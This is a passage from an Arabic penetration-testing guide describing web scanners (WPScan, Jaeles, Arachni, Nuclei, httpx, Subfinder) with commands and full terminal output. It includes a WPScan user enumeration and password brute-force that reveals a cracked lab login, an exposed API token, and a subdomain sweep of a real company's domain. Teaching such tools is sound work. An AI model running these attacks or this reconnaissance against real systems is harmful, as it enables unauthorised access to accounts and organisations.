[Status: 302, Size: 0, Words: 1, Lines: 1, Duration: 10ms]
    * FUZZ: dashboard

:: Progress: [4614/4614] :: Job [1/1] :: 845 req/sec :: Duration: [0:00:06] :: Errors
```

تحميل: https://github.com/ffuf/ffuf

٥.٤ WPScan

عندما نتحدث عن أمن WordPress (نظام إدارة المحتوى الذي يشغل أكثر من 43% من مواقع الويب)، فإن WPScan هي الأداة المعيارية والتخصصية الأولى بلا منازع. هذه الأداة المكتوبة بلغة Ruby لا تعمل كماسح ثغرات عام، بل هي مصممة خصيصاً لفحص WordPress بمنهجية الصندوق الأسود (Black Box) لفهم الهيكلية الخاصة بـ WordPress بعمق.

المشكلة الأمنية الكبرى في بيئة WordPress نادراً ما تكون في النواة (Core)، بل تكمن غالباً في آلاف الإضافات (Plugins) والقوالب (Themes) التي يثبتها المستخدمون. هنا تبرز عبقرية WPScan؛ فهي تقوم أولاً بعملية بصمة (Fingerprinting) دقيقة لتحديد المكونات المثبتة وإصداراتها بدقة، ثم تقاطع هذه البيانات فورياً مع قاعدة بياناتها الضخمة (WPVulnDB) لتحديد ما إذا كان هناك ثغرة معروفة (CVE) لهذا الإصدار المحدد.

بالإضافة إلى كشف الثغرات البرمجية، تعتبر WPScan أداة قوية لاختبار أمن التكوين والمصادقة. فهي تمتلك خوارزميات متخصصة لتعداد المستخدمين (User Enumeration) لاستخراج أسماء الدخول الصالحة، ومن ثم استخدامها لشن هجمات تخمين كلمات المرور (Brute Force) عالية الكفاءة على لوحة تحكم المسؤول. لضمان الحصول على أحدث بيانات الثغرات، تعتمد الأداة على نظام API Token (مجاني للاستخدام المحدود وتجاري للمؤسسات) لتحديث قاعدتها بشكل لحظي.

الخاصية	القيمة
مستوى المهارة المطلوب	مبتدئ إلى متوسط
أنظمة التشغيل	Linux, Windows, macOS
التكلفة	مجاني / مدفوع (API)
نوع الترخيص	WPScan Public Source License (Non-Commercial)

خصائص أداة WPScan

مثال عملي: فحص موقع WordPress لاكتشاف الثغرات وتعداد المستخدمين ثم تنفيذ هجوم كسر كلمة المرور:

```
wpscan --url http://10.49.135.70 --enumerate u,vp --plugins-detection
aggressive --api-token wh1kYmmYBP136GD1q0VR1KjSmiZrqpTA
```

شرح المثال: هذا الأمر يمثل المسح الشامل، حيث يتم تعداد المستخدمين (u) والإضافات الضعيفة (vp) باستخدام وضع الفحص القوي (aggressive). أما الميزه الاساسية هنا فهي استخدام مفتاح API لجلب أحدث الثغرات المعروفة، مما كشف لنا عن إصدار قديم من WordPress (5.0) يحتوي على 72 ثغرة أمنية، تليها خطوة استخدام قائمة كلمات (rockyou.txt) لكسر كلمة المرور.

المخرجات:

```
 (yaser CyberBookio)-[~]
 $ wpscan --url http://10.49.135.70 --enumerate u,vp --plugins-detection aggressive -

-----------------------------------------------------------------

          __          _______   _____
          \ \        / /  __ \ / ____|
           \ \  /\  / /| |__) | (___   ___  __ _ _ __ ®
            \ \/  \/ / |  ___/ \___ \ / __|/ _` | '_ \
             \  /\  /  | |     ____) | (__| (_| | | | |
              \/  \/   |_|    |_____/ \___|\__,_|_| |_|

          WordPress Security Scanner by the WPScan Team
                          Version 3.8.28
```

```
       @_WPScan_, @ethicalhack3r, @erwan_lr, @firefart
_______________________________________________________________

[i] Updating the Database ...
[i] Update completed.

[+] URL: http://10.49.135.70/ [10.49.135.70]
[+] Started: Sat Dec 27 03:07:55 2025

Interesting Finding(s):

[+] Headers
 | Interesting Entry: Server: Apache/2.4.29 (Ubuntu)
 | Found By: Headers (Passive Detection)
 | Confidence: 100%

[+] robots.txt found: http://10.49.135.70/robots.txt
 | Interesting Entries:
 |  - /wp-admin/
 |  - /wp-admin/admin-ajax.php
 | Found By: Robots Txt (Aggressive Detection)
 | Confidence: 100%

[+] XML-RPC seems to be enabled: http://10.49.135.70/xmlrpc.php
 | Found By: Direct Access (Aggressive Detection)
 | Confidence: 100%
 | References:
 |  - http://codex.wordpress.org/XML-RPC_Pingback_API
 |  - https://www.rapid7.com/db/modules/auxiliary/scanner/http/wordpress_ghost_scanne
 |  - https://www.rapid7.com/db/modules/auxiliary/dos/http/wordpress_xmlrpc_dos/
 |  - https://www.rapid7.com/db/modules/auxiliary/scanner/http/wordpress_xmlrpc_login
```

```
 |  - https://www.rapid7.com/db/modules/auxiliary/scanner/http/wordpress_pingback_acc

[+] WordPress readme found: http://10.49.135.70/readme.html
 | Found By: Direct Access (Aggressive Detection)
 | Confidence: 100%

[+] Upload directory has listing enabled: http://10.49.135.70/wp-content/uploads/
 | Found By: Direct Access (Aggressive Detection)
 | Confidence: 100%

[+] The external WP-Cron seems to be enabled: http://10.49.135.70/wp-cron.php
 | Found By: Direct Access (Aggressive Detection)
 | Confidence: 60%
 | References:
 |  - https://www.iplocation.net/defend-wordpress-from-ddos
 |  - https://github.com/wpscanteam/wpscan/issues/1299
 |
 | [!] Title: WP < 6.3.2 - Subscriber+ Arbitrary Shortcode Execution
 |     Fixed in: 5.0.20
 |     References:
 |      - https://wpscan.com/vulnerability/3615aea0-90aa-4f9a-9792-078a90af7f59
 |      - https://wordpress.org/news/2023/10/wordpress-6-3-2-maintenance-and-security
 |
 | [!] Title: WP < 6.3.2 - Contributor+ Comment Disclosure
 |     Fixed in: 5.0.20
 |     References:
 |      - https://wpscan.com/vulnerability/d35b2a3d-9b41-4b4f-8e87-1b8ccb370b9f
 |      - https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2023-39999
 |      - https://wordpress.org/news/2023/10/wordpress-6-3-2-maintenance-and-security
 |
 | [!] Title: WP < 6.3.2 - Unauthenticated Post Author Email Disclosure
 |     Fixed in: 5.0.20
```

```
|     References:
|      - https://wpscan.com/vulnerability/19380917-4c27-4095-abf1-eba6f913b441
|      - https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2023-5561
|      - https://wpscan.com/blog/email-leak-oracle-vulnerability-addressed-in-wordpr
|      - https://wordpress.org/news/2023/10/wordpress-6-3-2-maintenance-and-security
|
| [!] Title: WordPress < 6.4.3 - Deserialization of Untrusted Data
|     Fixed in: 5.0.21
|     References:
|      - https://wpscan.com/vulnerability/5e9804e5-bbd4-4836-a5f0-b4388cc39225
|      - https://wordpress.org/news/2024/01/wordpress-6-4-3-maintenance-and-security
|
| [!] Title: WordPress < 6.4.3 - Admin+ PHP File Upload
|     Fixed in: 5.0.21
|     References:
|      - https://wpscan.com/vulnerability/a8e12fbe-c70b-4078-9015-cf57a05bdd4a
|      - https://wordpress.org/news/2024/01/wordpress-6-4-3-maintenance-and-security
|
| [!] Title: WordPress < 6.5.5 - Contributor+ Stored XSS in HTML API
|     Fixed in: 5.0.22
|     References:
|      - https://wpscan.com/vulnerability/2c63f136-4c1f-4093-9a8c-5e51f19eae28
|      - https://wordpress.org/news/2024/06/wordpress-6-5-5/
|
| [!] Title: WordPress < 6.5.5 - Contributor+ Stored XSS in Template-Part Block
|     Fixed in: 5.0.22
|     References:
|      - https://wpscan.com/vulnerability/7c448f6d-4531-4757-bff0-be9e3220bbbb
|      - https://wordpress.org/news/2024/06/wordpress-6-5-5/
|
| [!] Title: WordPress < 6.5.5 - Contributor+ Path Traversal in Template-Part Block
|     Fixed in: 5.0.22
```

```
 |     References:
 |      - https://wpscan.com/vulnerability/36232787-754a-4234-83d6-6ded5e80251c
 |      - https://wordpress.org/news/2024/06/wordpress-6-5-5/
 |
 | [!] Title: WP < 6.8.3 - Author+ DOM Stored XSS
 |     Fixed in: 5.0.24
 |     References:
 |      - https://wpscan.com/vulnerability/c4616b57-770f-4c40-93f8-29571c80330a
 |      - https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2025-58674
 |      - https://patchstack.com/database/wordpress/wordpress/wordpress/vulnerability
 |      -  https://wordpress.org/news/2025/09/wordpress-6-8-3-release/
 |
 | [!] Title: WP < 6.8.3 - Contributor+ Sensitive Data Disclosure
 |     Fixed in: 5.0.24
 |     References:
 |      - https://wpscan.com/vulnerability/1e2dad30-dd95-4142-903b-4d5c580eaad2
 |      - https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2025-58246
 |      - https://patchstack.com/database/wordpress/wordpress/wordpress/vulnerability
 |      - https://wordpress.org/news/2025/09/wordpress-6-8-3-release/

[i] The main theme could not be detected.

[+] Enumerating Vulnerable Plugins (via Aggressive Methods)
 Checking Known Locations - Time: 00:01:40 <=======================================
[+] Checking Plugin Versions (via Passive and Aggressive Methods)

[i] Plugin(s) Identified:

[+] wp-downgrade
 | Location: http://10.49.135.70/wp-content/plugins/wp-downgrade/
 | Last Updated: 2023-05-08T20:42:00.000Z
 | Readme: http://10.49.135.70/wp-content/plugins/wp-downgrade/readme.txt
```

```
 | [!] The version is out of date, the latest version is 1.2.6
 | [!] Directory listing is enabled
 |
 | Found By: Known Locations (Aggressive Detection)
 |  - http://10.49.135.70/wp-content/plugins/wp-downgrade/, status: 200
 |
 | [!] 1 vulnerability identified:
 |
 | [!] Title: WP Downgrade < 1.2.3 - Admin+ Stored Cross-Site Scripting
 |     Fixed in: 1.2.3
 |     References:
 |      - https://wpscan.com/vulnerability/34a7b3cd-e2b5-4891-ab33-af6a2a0eeceb
 |      - https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2022-1001
 |      - https://plugins.trac.wordpress.org/changeset/2696091
 |
 | Version: 1.2.1 (50% confidence)
 | Found By: Readme - ChangeLog Section (Aggressive Detection)
 |  - http://10.49.135.70/wp-content/plugins/wp-downgrade/readme.txt

[+] Enumerating Users (via Passive and Aggressive Methods)
 Brute Forcing Author IDs - Time: 00:00:00 <=========================================

[i] User(s) Identified:

[+] bjoel
 | Found By: Wp Json Api (Aggressive Detection)
 |  - http://10.49.135.70/wp-json/wp/v2/users/?per_page=100&page=1
 | Confirmed By:
 |  Author Id Brute Forcing - Author Pattern (Aggressive Detection)
 |  Login Error Messages (Aggressive Detection)

[+] kwheel
```

```
 | Found By: Wp Json Api (Aggressive Detection)
 |  - http://10.49.135.70/wp-json/wp/v2/users/?per_page=100&page=1
 | Confirmed By:
 |  Author Id Brute Forcing - Author Pattern (Aggressive Detection)
 |  Login Error Messages (Aggressive Detection)

[+] Karen Wheeler
 | Found By: Rss Generator (Aggressive Detection)

[+] Billy Joel
 | Found By: Rss Generator (Aggressive Detection)

[+] WPScan DB API OK
 | Plan: free
 | Requests Done (during the scan): 2
 | Requests Remaining: 23

[+] Finished: Sat Dec 27 03:09:44 2025
[+] Requests Done: 7426
[+] Cached Requests: 7
[+] Data Sent: 1.947 MB
[+] Data Received: 24.99 MB
[+] Memory used: 223.895 MB
[+] Elapsed time: 00:01:48

  (yaser CyberBookio)-[~]
 $  wpscan --url http://10.49.135.70 --enumerate u --passwords /usr/share/wordlists/r
-----------------------------------------------------------------
          __          _______   _____
          \ \        / /  __ \ / ____|
           \ \  /\  / /| |__) | (___   ___  __ _ _ __ ®
            \ \/  \/ / |  ___/ \___ \ / __|/ _` | '_ \
```

```
        \  /\  /  | |     ____) | (__| (_| | | | | |
         \/  \/   |_|    |_____/ \___|\__,_|_| |_|

          WordPress Security Scanner by the WPScan Team
                          Version 3.8.28
        Sponsored by Automattic - https://automattic.com/
        @_WPScan_, @ethicalhack3r, @erwan_lr, @firefart
-----------------------------------------------------------------

[+] URL: http://10.49.135.70/
[+] Started: Sat Dec 27 03:12:01 2025

[+] Headers
 | Interesting Entry: Server: Apache/2.4.29 (Ubuntu)

[+] WordPress version 5.0 identified (Insecure, released on 2018-12-06).
 | [!] 72 vulnerabilities identified.

[i] User(s) Identified:
[+] bjoel
[+] kwheel

[+] Performing password attack on Xmlrpc against 2 user/s
[SUCCESS] - kwheel / cutiepie1

[!] Valid Combinations Found:
 | Username: kwheel, Password: cutiepie1

[+] Finished: Sat Dec 27 03:14:50 2025

-----------------------------------------------------------------
```

تحميل: https://wpscan.com

٦.٤ Jaeles

إطار العمل Jaeles الذي يمثل قمة المرونة والقدرة على التخصيص في عالم فحص تطبيقات الويب. وهي برمجة بلغة Go (مما يضمن لها سرعة أداء استثنائية واستهلاكاً منخفضاً للموارد)، صُممت لحل مشكلة جوهرية تواجه الباحثين المتقدمين وهي منطق الفحص الثابت (Hardcoded Scan Logic) في الماسحات التقليدية.

فلسفة Jaeles تعتمد بالكامل على التواقيع (Signatures) المكتوبة بصيغة YAML البسيطة والمقروءة. هذا يعني أن الباحث الأمني لم يعد بحاجة لانتظار تحديث الأداة لكشف ثغرة جديدة؛ بل يمكنه خلال دقائق كتابة توقيع مخصص يصف شكل الطلب والاستجابة المتوقعة، دون الحاجة لكتابة أي كود برمجي معقد.

تتميز الأداة بقدرات متقدمة جداً في معالجة المنطق، حيث تدعم سلاسل الطلبات المترابطة (Request Chaining)، واستخدام التعبيرات النمطية (Regex) والشروط المنطقية، ومتغيرات قابلة للتخصيص للتحقق من وجود الثغرة بدقة متناهية وتقليل النتائج الإيجابية الزائفة (False Positives). ونظراً لطبيعتها النصية والمرنة، فهي الأداة المثالية للدمج ضمن خطوط الأتمتة (CI/CD) ولفرق الفريق الأحمر (Red Team) التي تحتاج إلى بناء ترسانتها الخاصة من الثغرات المخصصة.

الخاصية	القيمة
مستوى المهارة المطلوب	متوسط إلى متقدم
أنظمة التشغيل	Windows, Linux, macOS
التكلفة	مجاني بالكامل
نوع الترخيص	MIT License

خصائص أدا Jaeles

مثال عملي: فحص موقع مستهدف باستخدام مكتبة توقيعات مخصصة للكشف عن ثغرات معروفة:

```
jaeles scan -s  /.jaeles/base-signatures/ -u http://10.48.138.62:8080
```

شرح المثال: هذا الأمر يقوم بتحميل مكتبة التوقيعات الأساسية من المسار المحدد وتطبيقها على الموقع المستهدف. الأهم هنا هو أن الأداة تقوم بعمل فحوصات تلقائية ذكية، وبمجرد مطابقة أي توقيع (مثل passive-on-success)، يتم تنبيهك فوراً بوجود ثغرة محتملة وتخزين التقرير التقني في مسار خاص للمراجعة.

المخرجات:

```
(yaser CyberBookio)-[~]
```

```
 $ jaeles scan -s ~/.jaeles/base-signatures/ -u http://10.48.138.62:8080
Jaeles beta v0.17.1 by @j3ssiejjj
[Vulnerable][passive-on-success][Potential] http://10.48.138.62:8080 out/10.48.138.62
  (yaser CyberBookio)-[~]
```

تحميل: https://github.com/jaeles-project/jaeles

٧.٤ Arachni

صُمم إطار Arachni من الأساس ليحل مشكلة الأداء وقابلية التوسع في عمليات الفحص الأمني للمؤسسات الضخمة. هذه المنصة المكتوبة بلغة Ruby تتميز عن غيرها بكونها معيارية (Modular) وعالية الأداء بشكل استثنائي، حيث تدعم مفهوم الفحص الموزع (High Performance Grid).

بينما تعمل معظم الماسحات على جهاز واحد وتستهلك موارده بالكامل، يتيح لك Arachni نشر موزعين (Dispatchers) على خوادم متعددة ليقوموا بتنفيذ الفحص بشكل متوازٍ وموزع، مما يقلل وقت الفحص بشكل كبير. بالإضافة إلى ذلك، يعالج Arachni واحدة من أعقد التحديات في الفحص الحديث وهي تطبيقات الصفحة الواحدة (Single Page Applications - SPA) المعتمدة على JavaScript، حيث يمتلك بيئة متصفح مدمجة قائمة على PhantomJS قادرة على تنفيذ الـ DOM والتعامل مع الأحداث (Events) وطلبات AJAX لمحاكاة مستخدم حقيقي واكتشاف الثغرات التي لا تظهر إلا بعد التنفيذ.

ومع ذلك، من المهم الإشارة إلى أن تطوير Arachni توقف بشكل فعلي منذ عام 2017، وتم الإعلان لاحقاً عن انتهاء دعمه رسميًا في عام 2020، مما يعني أنه لم يعد يُعَد حلاً محدثًا لتقنيات الويب الحديثة وقد لا يغطي أحدث الثغرات. ورغم ذلك، لا تزال هندسته البرمجية المتقدمة وقدرته القوية على الفحص الموزع تجعلانه مرجعًا تقنيًا مهمًا في مجال أدوات اختبار أمن تطبيقات الويب.

الخاصية	القيمة
مستوى المهارة المطلوب	متوسط إلى متقدم
أنظمة التشغيل	Linux, macOS, Windows
التكلفة	مجاني
نوع الترخيص	مختلط (Arachni Public Source License)

خصائص أداة Arachni

تحميل: https://github.com/Arachni/arachni

٨.٤ Nuclei

الأداة التي أحدثت ثورة حقيقية في عالم الأتمتة الأمنية واكتشاف الثغرات الحديثة من فريق ProjectDiscovery. تختلف هذه الأداة عن الماسحات التقليدية بكونها قائمة بالكامل على القوالب أو Template-based، حيث تم استبدال الكود المعقد بملفات YAML بسيطة ومقروءة تصف الثغرة بدقة. هذا التصميم العبقري يتيح للمجتمع الأمني تحويل أي ثغرة جديدة أو CVE يتم الإعلان عنها إلى قالب فحص جاهز خلال ساعات قليلة فقط، مما يمنح المستخدمين مكتبة ضخمة ومتجددة باستمرار تتجاوز 9000 قالب. ونظراً لأنها مكتوبة بلغة Go فهي توفر سرعة فحص عالية وتدعم بروتوكولات متعددة مثل HTTP, DNS, TCP, SSL/TLS, Headless وغيرها بشكل متوازٍ، مما يجعلها الخيار الأول لصائدي الثغرات (Bug Bounty Hunters) وفرق الفريق الأحمر (Red Teams) الذين يحتاجون إلى فحص آلاف الأهداف بحثاً عن ثغرات حديثة أو أخطاء تكوين محددة بسرعة ودقة عالية.

الخاصية	القيمة
مستوى المهارة المطلوب	مبتدئ إلى متوسط
أنظمة التشغيل	Windows, Linux, macOS
التكلفة	مجاني
نوع الترخيص	MIT License

خصائص أداة Nuclei

مثال عملي: فحص موقع مستهدف باستخدام ميزة الفحص التلقائي الذكي (Automatic Scan):

```
nuclei -u http://10.49.158.72 -as
```

شرح المثال: واقع الأمر أن هذا الخيار ينشط ميزة Automatic Scan عبر الخيار as-. الميزة الفعالة هنا تتمثل في أن الأداة تقوم أولاً بعملية كشف التقنيات (tech-detect) فمثلاً هنا اكتشفت وجود phpMyAdmin و Apache وبناءً عليه اختارت وطبقت القوالب المناسبة فقط مما أدى لاكتشاف ثغرة CVE-2023-48795 في بروتوكول SSH.

المخرجات:

```
  (yaser CyberBookio)-[~]
 $ nuclei -u http://10.49.158.72 -as
```

```
                     __     _
   ____  __  _______/ /__  (_)
  / __ \/ / / / ___/ / _ \/ /
 / / / / /_/ / /__/ /  __/ /
/_/ /_/\__,_/\___/_/\___/_/   v3.6.1

                projectdiscovery.io

[INF] Current nuclei version: v3.6.1 (latest)
[INF] Current nuclei-templates version: v10.3.6 (latest)
[INF] New templates added in latest release: 176
[INF] Templates loaded for current scan: 9080
[INF] Executing 9078 signed templates from projectdiscovery/nuclei-templates
[WRN] Loading 2 unsigned templates for scan. Use with caution.
[INF] Targets loaded for current scan: 1
[INF] Automatic scan tech-detect: Templates clustered: 500 (Reduced 474 Requests)
[INF] Executing Automatic scan on 1 target[s]
[phpmyadmin-panel] [http] [info] http://10.49.158.72/phpmyadmin/ ["4.6.6deb5"] [paths
[apache-detect] [http] [info] http://10.49.158.72 ["Apache/2.4.29 (Ubuntu)"]
[default-apache-test-all] [http] [info] http://10.49.158.72 ["Apache/2.4.29 (Ubuntu)"
[default-apache2-ubuntu-page] [http] [info] http://10.49.158.72
[waf-detect:apachegeneric] [http] [info] http://10.49.158.72
[openssh-detect] [tcp] [info] 10.49.158.72:22 ["SSH-2.0-OpenSSH_7.6p1 Ubuntu-4ubuntu0
[ssh-auth-methods] [javascript] [info] 10.49.158.72:22 ["["publickey","password"]"]
[INF] Found 10 tags and 7 matches on detection templates on http://10.49.158.72 [wapp
[INF] Executing 1923 templates on http://10.49.158.72
[INF] Using Interactsh Server: oast.pro
[phpmyadmin-panel] [http] [info] http://10.49.158.72/phpmyadmin/ ["4.6.6deb5"] [paths
[apache-detect] [http] [info] http://10.49.158.72 ["Apache/2.4.29 (Ubuntu)"]
[default-apache2-ubuntu-page] [http] [info] http://10.49.158.72
[default-apache-test-all] [http] [info] http://10.49.158.72 ["Apache/2.4.29 (Ubuntu)"
```

```
[CVE-2023-48795] [javascript] [medium] 10.49.158.72:22 ["Vulnerable to Terrapin"]
[ssh-auth-methods] [javascript] [info] 10.49.158.72:22 ["["publickey","password"]"]
[ssh-password-auth] [javascript] [info] 10.49.158.72:22
[ssh-server-enumeration] [javascript] [info] 10.49.158.72:22 ["SSH-2.0-OpenSSH_7.6p1
[ssh-sha1-hmac-algo] [javascript] [info] 10.49.158.72:22
[openssh-detect] [tcp] [info] 10.49.158.72:22 ["SSH-2.0-OpenSSH_7.6p1 Ubuntu-4ubuntu0
[INF] Scan completed in 38.050228383s. 17 matches found.

  (yaser CyberBookio)-[~]
```

تحميل: https://github.com/projectdiscovery/nuclei

٩.٤ httpx

أداة httpx تعتبر العصب الرئيسي والعمود الفقري لمرحلة الاستطلاع الحديثة من فريق ProjectDiscovery. هذه الأداة المكتوبة بلغة Go صُممت لحل مشكلة محددة تواجه الباحثين بعد مرحلة جمع النطاقات الفرعية وهي كيف يمكن فلترة آلاف النطاقات ومعرفة أيها يعمل حقاً بسرعة ودقة؟

تعمل httpx كمحرك فحص HTTP متعدد الأغراض وعالي السرعة، مصمم للعمل ضمن فلسفة خطوط الأنابيب (Pipelines)، حيث يمكنها استقبال آلاف المدخلات عبر stdin أو ملفات ومعالجتها بشكل متوازٍ لاستخراج المعلومات الحيوية فوراً. لا تكتفي الأداة بفحص ما إذا كان الموقع يعمل، بل تقوم باستخراج عنوان الصفحة (Title)، ورموز الحالة (Status Codes)، والتقنيات المستخدمة (Technology Detection)، وفحص شهادات SSL/TLS، ورؤوس الاستجابة (Response Headers)، وحجم المحتوى، وغيرها في ثوانٍ معدودة. هذه القدرة على الفحص السريع تجعلها الأداة الأساسية لتحديد سطح الهجوم (Attack Surface) وبناء ملف تعريف دقيق للهدف قبل البدء بأي فحص عميق. كما أنها تدعم تنسيقات إخراج متعددة (JSON, CSV) لتسهيل التكامل مع أدوات أخرى.

الخاصية	القيمة
مستوى المهارة المطلوب	مبتدئ
أنظمة التشغيل	Windows, Linux, macOS
التكلفة	مجاني بالكامل
نوع الترخيص	MIT License

خصائص أداة httpx

مثال عملي: فحص قائمة من المضيفين للتحقق من الخوادم النشطة واستخراج معلومات مفصلة:

```
cat targets.txt | httpx -title -sc -td -cl
```

شرح المثال: واقع الأمر أن هذا الأمر يمرر قائمة الأهداف من ملف targets.txt إلى الأداة لمعالجتها. الميزة هنا هي استخدام مجموعة من الخيارات المختصرة لاستخراج عنوان الصفحة (-title), ورمز الحالة (-sc), والتقنيات المستخدمة (-td), بالإضافة إلى طول المحتوى (-cl), مما يظهر لنا بوضوح وجود أنظمة مثل phpMyAdmin و WordPress على الهدف.

المخرجات:

```
  (yaser CyberBookio)-[~]
 $ cat targets.txt | httpx -title -sc -td -cl


    __    __  __       _  __
   / /_  / /_/ /_____ | |/ /
  / __ \/ __/ __/ __ \|   /
 / / / / /_/ /_/ /_/ /   |
/_/ /_/\__/\__/ .___/_/|_|
             /_/

                projectdiscovery.io

[INF] Current httpx version v1.7.4 (latest)
[WRN] UI Dashboard is disabled, Use -dashboard option to enable
http://10.49.158.72 [200] [10918] [Apache2 Ubuntu Default Page: It works] [Apache HTT
http://10.49.158.72/phpmyadmin/ [200] [10536] [phpMyAdmin] [Apache HTTP Server:2.4.29
http://10.49.158.72/blog/ [200] [53942] [Internal - Just another WordPress site] [Apa

  (yaser CyberBookio)-[~]
```

تحميل: https://github.com/projectdiscovery/httpx

١٠.٤ Subfinder

تعتبر أداة Subfinder من ProjectDiscovery الركيزة الأساسية لأي عملية استطلاع حديثة، وتحديداً في مرحلة تعداد النطاقات الفرعية السلبية أو Passive Subdomain Enumeration. تختلف هذه الأداة عن طرق التخمين التقليدية بأنها لا تتواصل مع الهدف مباشرة، مما يجعلها خفية تماماً وغير قابلة للكشف (Stealth).

بدلاً من إرسال طلبات DNS للخادم المستهدف، تستعلم الأداة بسرعة عالية (بفضل كتابتها بلغة Go) أكثر من 50 مصدراً عاماً للبيانات مثل Shodan, Censys, VirusTotal, SecurityTrails, Chaos وغيرها. تكمن قوتها الحقيقية في قدرتها على دمج مفاتيح API لهذه الخدمات (مجانية أو مدفوعة) للحصول على نتائج أعمق وأشمل، مما يساعد الباحثين والمختبرين على رسم خريطة كاملة لسطح الهجوم (Attack Surface) واكتشاف النطاقات الفرعية المنسية أو المهملة التي غالباً ما تكون نقاط ضعف حرجة في المؤسسة، كل ذلك دون إطلاق إنذار واحد في أنظمة الرصد أو الحماية لدى الهدف.

الخاصية	القيمة
مستوى المهارة المطلوب	مبتدئ
أنظمة التشغيل	Windows, Linux, macOS
التكلفة	مجاني بالكامل
نوع الترخيص	MIT License

خصائص أداة Subfinder

مثال عملي: اكتشاف جميع النطاقات الفرعية لنطاق معين باستخدام جميع المصادر والبحث المتكرر:

```
subfinder -d tesla.com -all -recursive -o tesla_subs.txt
```

شرح المثال: واقع الأمر أن هذا الخيار يهدف إلى استخراج كل نطاق فرعي متاح للنطاق tesla.com. قمنا باستخدام هذا الخيار all- لدمج كافة المصادر والخيار recursive- للتعمق في البحث، مع حفظ كافة العناوين المكتشفة في ملف نصي لمتابعة الفحص لاحقاً.

المخرجات:

```
(yaser CyberBookio)-[~]
$ subfinder -d tesla.com -all -recursive -o tesla_subs.txt
```

```
               __     _____              __
      _______  __/ /_  / __(_)___  ____/ /__  _____
     / ___/ / / / __ \/ /_/ / __ \/ __  / _ \/ ___/
    (__  ) /_/ / /_/ / __/ / / / / /_/ /  __/ /
   /____/\__,_/_.___/_/ /_/_/ /_/\__,_/\___/_/

                projectdiscovery.io
```

[INF] Current subfinder version v2.6.0 (outdated)

[INF] Loading provider config from /home/yaser/.config/subfinder/provider-config.yaml

[INF] Enumerating subdomains for tesla.com

codeload.github.tesla.com

www.toolbox.tesla.com

serviceapp.tesla.com

media.extgithub.tesla.com

npm.github.tesla.com

citiapisslsandboxv4.tesla.com

vpn3.tesla.com

shop.tesla.com

media.github-fw.tesla.com

fleetview.prd.europe.vn.cloud.tesla.com

developer.tesla.com

tvs.tesla.com

rubygems.github-ap.tesla.com

viewscreen.github-ap.tesla.com

autodiscover.tesla.com

x3-eng.obs.tesla.com

bom01-gpgw1.tesla.com

image.emails.tesla.com

media.github-ap.tesla.com

fleetview.america.fn.tesla.com

auth.eng.usw.vn.cloud.tesla.com

inference-staging.bottlerocket.tesla.com

assets.github-it.tesla.com

o5.ptr8466.tesla.com

live-data.prd.usw.fn.tesla.com

mobile-links-cdn.prd.vn.cloud.tesla.com

cnvpn.tesla.com

...

...

...

fleetview.prd.usw2.fn.tesla.com

nuget.github-fw.tesla.com

codeload.github-it.tesla.com

acme-sentry-4a.eng.use1.vn.cloud.tesla.com

smt.tesla.com

s3.a.energy.smf13.tcs.tesla.com

ownerapi-alpha.prd.vn.cloud.tesla.com

resources.tesla.com

marketing.tesla.com

de.tesla.com

tokens-staging.bottlerocket.tesla.com

citiapisslprodv5.tesla.com

sso-dev.tesla.com

vrp-stg.tesla.com

cx-apac.tesla.com

ownerapi-api.prd.usw.vn.cloud.tesla.com

paloalto.tesla.com

studio.courses.tesla.com

tripx.prd.usw.vn.cloud.tesla.com

s3.b.ams15.tcs.tesla.com

render.github.tesla.com

manager.courses.tesla.com

toolbox-beta.tesla.com

```
fleetview.europe.fn.tesla.com
[INF] Found 489 subdomains for tesla.com in 19 seconds 621 milliseconds

  (yaser CyberBookio)-[~]
```

تحميل: https://github.com/projectdiscovery/subfinder

خاتمة القسم: اختراق تطبيقات الويب

يظل أمن تطبيقات الويب ساحة المعركة الأكثر نشاطاً في الأمن السيبراني. فبين كل طبقات الدفاع والبنى التحتية الأمنية المعقدة، تظل واجهات الويب هي أكثر النقاط تعرضاً للهجوم لأنها الواجهة التي يتفاعل معها العالم يومياً. الأدوات التي استعرضناها في هذا الفصل من Burp Suite إلى OWASP ZAP ومن sqlmap إلى Nuclei ليست مجرد برامج مساعدة، بل هي منصات تحليل وتشريح للتطبيقات الحديثة بكل تعقيداتها.

لكن الحقيقة الأساسية التي يجب عدم نسيانها أن الأتمتة وحدها لا تكفي. فالماسحات الآلية رائعة في اكتشاف الثغرات النمطية مثل SQL Injection و Cross-Site Scripting (XSS) و Open Redirect. لكنها غالباً تفشل أمام الثغرات المنطقية Business Logic Vulnerabilities والثغرات المعتمدة على سوء تصميم المصادقة Authentication Flaws أو جلسات المستخدم Session Management Issues أو التحقق غير الكافي من الصلاحيات Broken Access Control. هذه الفئة من الثغرات لا يمكن اكتشافها إلا على يد محلل يفهم منطق التطبيق ويتخيل كيف يفكر المطور ويعرف كيف يختبر السيناريوهات التي لم يتم تصميم النظام أصلاً للتعامل معها.

إن أدوات مثل Burp Suite لا تصبح خطيرة إلا حين تستخدم باعتبارها امتداداً لعقل الباحث، وليست مجرد زر فحص. عندها يمكن اختبار سيناريوهات معقدة مثل Insecure Direct Object Reference (IDOR)، أو التحكم في تدفق التطبيق، أو حقن طلبات ذكية عبر HTTP و API لا يمكن لأي ماسح تقليدي التعامل معها. كذلك فإن قوة أدوات مثل ffuf و Nuclei لا تكمن فقط في السرعة، بل في قدرتها على دعم التفكير الهجومي المنهجي عند استخدامها بشكل واعٍ ومدروس.

كما أن تطور تطبيقات الويب الحديثة نحو المعمارية الموزعة Microservices واعتمادها الكبير على APIs وخدمات سحابية متصلة يجعل مشهد المخاطر أكثر تعقيداً. وهذا يعني أن المهاجم الذكي لا يبحث فقط عن ثغرة في صفحة تسجيل الدخول، بل يفكر في SSRF، وفي Deserialization Attacks، وفي نقاط التكامل، وفي التعامل مع البيانات في الخلفية. ومن هنا يصبح الاختبار اليدوي المدعوم بالأدوات هو النهج الاحترافي الحقيقي.

في النهاية، لا يتعلق إتقان هذا المجال بقراءة التقارير أو تشغيل الفحوصات، بل بفهم سلوك التطبيق وروحه. التفكير النقدي، القدرة على بناء فرضية والاستدلال عليها، والجرأة على اختبار ما لا يراه الآخرون هي ما يميز المختص الحقيقي. ومع تطور تقنيات الويب، يجب أن تتطور عقولنا قبل أدواتنا.

